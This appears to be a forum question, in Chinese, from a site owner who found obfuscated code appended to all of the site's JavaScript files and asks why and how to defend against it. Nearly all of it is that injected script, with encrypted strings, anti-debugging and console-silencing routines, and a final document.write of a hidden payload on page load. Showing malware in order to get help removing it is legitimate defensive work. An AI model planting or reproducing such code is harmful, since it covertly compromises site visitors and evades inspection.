网站所有的 Js 文件被加入了下面的这段代码，请问是什么原因呢？该如何防御

代码如下

var a = ['w4kGaULCug==', 'wovDrMK0w7/DgQ==', 'wo3DlsKUwqfCmMK/YW3CmzAc', 'w6JSwpTCg8Ki', 'w4HDvMKhZQE=', 'Nm/Dn8OPYQ==', 'NXNkMTM=', 'w6XDiwzDlsKA', 'KsO/aEPCuFfCjAorUk7CjcO4wrISw6fChsO9bQ==', 'wp1JfGY9', 'w6XDgg/DjcKpw7YQ', 'w5PDrCvDmcKB', 'wq1yw4TDrMOV', 'w68FQ3fCgA==', 'TMKNDlvDpAjDtA==', 'wqvDgiMFSkRzwoFj', 'PsKbw7XCgVA=', 'wrpzD8O4wrLCsGU=', 'Y8OMw78nw4LCmzM=', 'w68rbmrCtA==', 'cMKFwq3CqT0=', 'wqLDkSTCow==', 'w4lew5nCu8K2B8KT', 'w4QJwplKw5s=', 'wpnDrMKow7rDjA==', 'KsO/aEPCuFfCjA1vBwvDjsO4wrMUw7rCjsO/bSTCgw==', 'wpbCjnLCnQ==', 'F8OAwqzDmUI=', 'w6wZJMKx', 'wrbCnUnCpsOl', 'LUPDi8OGdQ==', 'dcKsFTfCiA==', 'w6wLdlw=', 'VsKvwrXCkA7CkxNdAsOnwqZhK8OAw5dIw51hwqg+w64=', 'w5DDq8Kgfg==', 'w43CpVLCuMKz', 'VcKhO1jDoQ==', 'wqEgEcKvUg==', 'CMKnw47CkloTw4zCk2LDkcKPWg9GTsOlw43DqH/DlcKS', 'NcOpwrfDuMKv', 'w48uwow=', 'w4xYAExsw5NaSMKYLMKPFE0DBcOmw5bDum4=', 'W8KQAUvDrg==', 'wqF3w5fDi8Ox', 'H3LDqMOVZw==', 'UMKvwrLCkQ==', 'WQcTw4vDgA==', 'w4oxTQEVcMK5', 'WMK6BnHDog==', 'wpPDmW3CtsOU', 'GcKtw5TClEcRwok=', 'Y8OMw78nw5nChSMBOcK8w6A=', 'TCzCuT/Djw==', 'w5/ClsOKDMKr', 'wp/Dj0jCg2A=', 'wojCrcOOAHUhNGAzWsO7wqDDscKnwoHCq8OnJVA=', 'wpvDusK1w77Dsw==', 'wpHDssK+w7k=', 'wql2w4A=', 'w7hpw73DqMK6', 'P8O1wovDgXE=', 'w6vCiVLCvcKP', 'aMOOw50Cw48=', 'SsOvHAHDhsKrw4NtwqbCm8KnHcOZVAwjYHzDicOEaTlvw4E=', 'w6Rqw67CgGc=', 'w7DDgcK/RjI=', 'w6cYwqR4w4U=', 'w69kw7vCt8KE', 'w7IEYl0=', 'KMObdHvCrA==', 'dsKmwqzClSo=', 'E8OTwotIAw==', 'LMO1W3PCpg==', 'w4guUx4D', 'R8Krwq/CtxU=', 'w7ZKw6LCg8KeYCo=', 'WD4hw77Dug==', 'CmBXCzk=', 'w7vCk8OkZlQ=', 'asKowqPCtxM=', 'CcONwrjDm8Kf', 'wooBQg5dW8KHw4nDqyDDlg/CllsXFcKTwo/Dr3HDp8OiwqTCskvCkxrCt0jDtSk0', 'KcODwr7Dj8KG', 'agk1w5HDig==', 'XsKLw4oKwo3Cqn1KbcO4w4kLD8KqYBRcw6/CqyPCqsO9PyM=', 'w4PCs33Cg8Kk', 'wo3Drz00w74=', 'w7NAw7/CvF8=', 'w4fDocK+ehrDnMO/', 'w7NGw4fCvMK9', 'woxtYAEZbsK1c0vDjsKxO2tcNcKHwpLDq2PDkRzCh3Q+E8KcwpFdIMK+w5xiTCoMNMOPM8O1FcOUDB1+wok6MTbCvMKVDMO4w57Cug7DpcKowrXDj8OLw5sWwpXCliMTZlxUwqTCgTTDsMOXF8KECmfDt8KhwqVO', 'w7Ndw5vCkcKD', 'w4/CocKbFTM=', 'w6JXw6XChMKU', 'w6PDnxPDkcK0', 'w6TCr1vCpsKd', 'w40iwqlow6w=', 'FMOCwoVNEg==', 'wrZCVifCpw==', 'w5dUwqzCoMKu', 'dgUJw6nDpQ==', 'wqkpL8KHUmAM'];
(function(b, c) {
var d = function(f) {
while (--f) {
b['push'](b['shift']());
}
};
var e = function() {
var f = {
'data': {
'key': 'cookie',
'value': 'timeout'
},
'setCookie': function(l, m, n, o) {
o = o || {};
var p = m + '=' + n;
var q = 0x0;
for (var r = 0x0, s = l['length']; r < s; r++) {
var t = l[r];
p += ';\x20' + t;
var u = l[t];
l['push'](u);
s = l['length'];
if (u !== !![]) {
p += '=' + u;
}
}
o['cookie'] = p;
},
'removeCookie': function() {
return 'dev';
},
'getCookie': function(l, m) {
l = l || function(p) {
return p;
}
;
var n = l(new RegExp('(?:^|;\x20)' + m['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
var o = function(p, q) {
p(++q);
};
o(d, c);
return n ? decodeURIComponent(n[0x1]) : undefined;
}
};
var i = function() {
var l = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
return l['test'](f['removeCookie']['toString']());
};
f['updateCookie'] = i;
var j = '';
var k = f['updateCookie']();
if (!k) {
f['setCookie'](['*'], 'counter', 0x1);
} else if (k) {
j = f['getCookie'](null, 'counter');
} else {
f['removeCookie']();
}
};
e();
}(a, 0x179));
var b = function(c, d) {
c = c - 0x0;
var e = a[c];
if (b['KyesdD'] === undefined) {
(function() {
var h = function() {
var k;
try {
k = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
} catch (l) {
k = window;
}
return k;
};
var i = h();
var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
i['atob'] || (i['atob'] = function(k) {
var l = String(k)['replace'](/=+$/, '');
var m = '';
for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n % 0x4 ? o * 0x40 + p : p,
n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) {
p = j['indexOf'](p);
}
return m;
}
);
}());
var g = function(h, l) {
var m = [], n = 0x0, o, p = '', q = '';
h = atob(h);
for (var t = 0x0, u = h['length']; t < u; t++) {
q += '%' + ('00' + h['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);
}
h = decodeURIComponent(q);
var r;
for (r = 0x0; r < 0x100; r++) {
m[r] = r;
}
for (r = 0x0; r < 0x100; r++) {
n = (n + m[r] + l['charCodeAt'](r % l['length'])) % 0x100;
o = m[r];
m[r] = m[n];
m[n] = o;
}
r = 0x0;
n = 0x0;
for (var v = 0x0; v < h['length']; v++) {
r = (r + 0x1) % 0x100;
n = (n + m[r]) % 0x100;
o = m[r];
m[r] = m[n];
m[n] = o;
p += String['fromCharCode'](h['charCodeAt'](v) ^ m[(m[r] + m[n]) % 0x100]);
}
return p;
};
b['pwSzdv'] = g;
b['FHYCZA'] = {};
b['KyesdD'] = !![];
}
var f = b['FHYCZA'][c];
if (f === undefined) {
if (b['ofguEY'] === undefined) {
var h = function(i) {
this['XPARKA'] = i;
this['SpQSlz'] = [0x1, 0x0, 0x0];
this['GnmFej'] = function() {
return 'newState';
}
;
this['QkHizH'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
this['gXalrj'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
};
h['prototype']['qxjHTI'] = function() {
var i = new RegExp(this['QkHizH'] + this['gXalrj']);
var j = i['test'](this['GnmFej']['toString']()) ? --this['SpQSlz'][0x1] : --this['SpQSlz'][0x0];
return this['nPEtwj'](j);
}
;
h['prototype']['nPEtwj'] = function(i) {
if (!Boolean(~i)) {
return i;
}
return this['KgZUjW'](this['XPARKA']);
}
;
h['prototype']['KgZUjW'] = function(j) {
for (var k = 0x0, l = this['SpQSlz']['length']; k < l; k++) {
this['SpQSlz']['push'](Math['round'](Math['random']()));
l = this['SpQSlz']['length'];
}
return j(this['SpQSlz'][0x0]);
}
;
new h(b)['qxjHTI']();
b['ofguEY'] = !![];
}
e = b['pwSzdv'](e, d);
b['FHYCZA'][c] = e;
} else {
e = f;
}
return e;
};
var f = function() {
var h = {};
h[b('0x6', '7Dxc')] = function(k, l) {
return k === l;
}
;
h[b('0x61', 'a%oA')] = 'YbZMj';
h['cRxxV'] = b('0x12', 'wF91');
h[b('0x14', 'wF91')] = b('0x48', 'COhn');
var i = h;
var j = !![];
return function(k, l) {
var m = {};
m[b('0x1d', 'Lo@q')] = i[b('0x54', '$VHR')];
var n = m;
var o = j ? function() {
if (l) {
if (i[b('0x18', 'U5mN')](i[b('0x2f', ')DXv')], i[b('0x5', 'LX^G')])) {
var r = n[b('0x4a', 'L1Y&')][b('0x20', 'Lyt0')]('|');
var s = 0x0;
while (!![]) {
switch (r[s++]) {
case '0':
t['log'] = func;
continue;
case '1':
t[b('0x63', 'Is#S')] = func;
continue;
case '2':
return t;
case '3':
t[b('0x3b', 'FOKP')] = func;
continue;
case '4':
t['trace'] = func;
continue;
case '5':
t['exception'] = func;
continue;
case '6':
t[b('0x10', '(JP]')] = func;
continue;
case '7':
t['debug'] = func;
continue;
case '8':
t['table'] = func;
continue;
case '9':
var t = {};
continue;
}
break;
}
} else {
var p = l[b('0x2', 'G6f@')](k, arguments);
l = null;
return p;
}
}
}
: function() {}
;
j = ![];
return o;
}
;
}();
var e = f(this, function() {
var h = {};
h['gHrTf'] = function(k, l) {
return k !== l;
}
;
h[b('0x42', 'U5mN')] = b('0x8', 'QhWC');
h[b('0x64', 'K1$*')] = b('0x45', ')DXv');
h['akRhn'] = function(k) {
return k();
}
;
var i = h;
var j = function() {
if (i[b('0x36', 'a%oA')](i[b('0x55', 'sWxZ')], i['HOBsm'])) {
var m = fn[b('0x1c', 'no2k')](context, arguments);
fn = null;
return m;
} else {
var k = j[b('0x21', 'gppR')](i[b('0x3a', ')@iy')])()[b('0x1e', 'sJRr')]('^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}');
return !k[b('0x41', 'pizW')](e);
}
};
return i[b('0x3e', 'DccT')](j);
});
e();
var d = function() {
var h = {};
h['EXaez'] = function(k, l) {
return k === l;
}
;
h[b('0x25', 'S7WR')] = b('0x46', '9qRx');
h['rXcSJ'] = function(k, l) {
return k !== l;
}
;
h['FYmHz'] = b('0x4f', '6Xv9');
var i = h;
var j = !![];
return function(k, l) {
var m = {};
m[b('0xf', '%YCE')] = function(p, q) {
return i['EXaez'](p, q);
}
;
m['sYoxR'] = i[b('0x24', 'qCYr')];
m['XtOUU'] = b('0xd', 'eo4*');
var n = m;
if (i[b('0x5f', '(JP]')](i[b('0xe', 'U5mN')], b('0x44', 'sJRr'))) {
var o = j ? function() {
if (n[b('0x53', ')Yx7')](n[b('0x43', '5y70')], b('0x2b', 'L1Y&'))) {
if (l) {
var p = l[b('0x37', 'Lyt0')](k, arguments);
l = null;
return p;
}
} else {
var r = j ? function() {
if (l) {
var s = l['apply'](k, arguments);
l = null;
return s;
}
}
: function() {}
;
j = ![];
return r;
}
}
: function() {}
;
j = ![];
return o;
} else {
var q = test['constructor'](b('0x38', 'K1$*'))()[b('0x30', 'C[x2')](n[b('0x5b', ')@iy')]);
return !q[b('0x4c', 'QhWC')](e);
}
}
;
}();
var c = d(this, function() {
var h = {};
h[b('0x1f', 'Is#S')] = function(o, p) {
return o(p);
}
;
h['toGEl'] = function(o, p) {
return o + p;
}
;
h['zAwGu'] = function(o) {
return o();
}
;
h[b('0x1b', 'Qx0k')] = function(o, p) {
return o !== p;
}
;
h[b('0x33', 'QhWC')] = b('0x3', 'QhWC');
h['UAJgG'] = b('0x56', 'P2iv');
h[b('0x22', 'no2k')] = b('0x40', 'QhWC');
h[b('0x32', 'Is#S')] = b('0x5e', 'DccT');
h[b('0x5a', '9sO)')] = function(o, p) {
return o(p);
}
;
h['mlNWi'] = '{}.constructor(\x22return\x20this\x22)(\x20)';
h[b('0x28', 'COhn')] = function(o, p) {
return o !== p;
}
;
h[b('0x5c', 'U5mN')] = 'AXmVx';
var i = h;
var j = function() {};
var k;
try {
var l = i[b('0x4b', 'qCYr')](Function, i[b('0x2c', 'Is#S')](b('0x27', 'K1$*'), i['mlNWi']) + ');');
k = i[b('0x3d', 'qCYr')](l);
} catch (o) {
k = window;
}
if (!k[b('0x29', '3B1d')]) {
k['console'] = function(p) {
if (i[b('0xc', 'LX^G')](i[b('0x60', 'pizW')], i[b('0x9', '9qRx')])) {
var u = i[b('0x65', 'QhWC')](Function, i['toGEl'](i[b('0x1', 'K1$*')]('return\x20(function()\x20', b('0xa', '0uLu')), ');'));
k = i[b('0x62', 'wF91')](u);
} else {
var q = i[b('0x2a', '3B1d')][b('0x0', 'ixyG')]('|');
var r = 0x0;
while (!![]) {
switch (q[r++]) {
case '0':
s['exception'] = p;
continue;
case '1':
s[b('0x23', 'pizW')] = p;
continue;
case '2':
s[b('0x3f', 'Is#S')] = p;
continue;
case '3':
s['debug'] = p;
continue;
case '4':
var s = {};
continue;
case '5':
s[b('0x50', 'bi5R')] = p;
continue;
case '6':
return s;
case '7':
s[b('0x49', '6Xv9')] = p;
continue;
case '8':
s[b('0x34', 'Ng&Q')] = p;
continue;
case '9':
s[b('0x59', 'L1Y&')] = p;
continue;
}
break;
}
}
}(j);
} else {
if (i[b('0x5d', 'eo4*')](i[b('0x19', 'a%oA')], 'hUGoc')) {
var m = '1|5|2|4|0|3|7|6'[b('0x15', 'P2iv')]('|');
var n = 0x0;
while (!![]) {
switch (m[n++]) {
case '0':
k['console'][b('0x17', '3B1d')] = j;
continue;
case '1':
k[b('0x51', ')DXv')][b('0x47', 'a%oA')] = j;
continue;
case '2':
k[b('0x31', 'eo4*')]['debug'] = j;
continue;
case '3':
k[b('0x2d', '6Xv9')][b('0x2e', 'ZeYJ')] = j;
continue;
case '4':
k[b('0x4', 'wF91')][b('0x58', 'Lyt0')] = j;
continue;
case '5':
k[b('0x4e', 'G6f@')]['warn'] = j;
continue;
case '6':
k['console']['trace'] = j;
continue;
case '7':
k[b('0x35', '6AQ3')][b('0x1a', 'ixyG')] = j;
continue;
}
break;
}
} else {
var q = {};
q[b('0x26', '3B1d')] = i[b('0x3c', 'e8v^')];
q[b('0x4d', 'Lo@q')] = i[b('0xb', '9qRx')];
var r = q;
var s = function() {
var t = s[b('0x52', 'eo4*')](r[b('0x57', 'Lyt0')])()[b('0x11', 'pizW')](r[b('0x7', '0Y9T')]);
return !t[b('0x39', 'e8v^')](e);
};
return s();
}
}
});
c();
document[b('0x16', 'wF91')](unescape(b('0x13', 'G6f@')));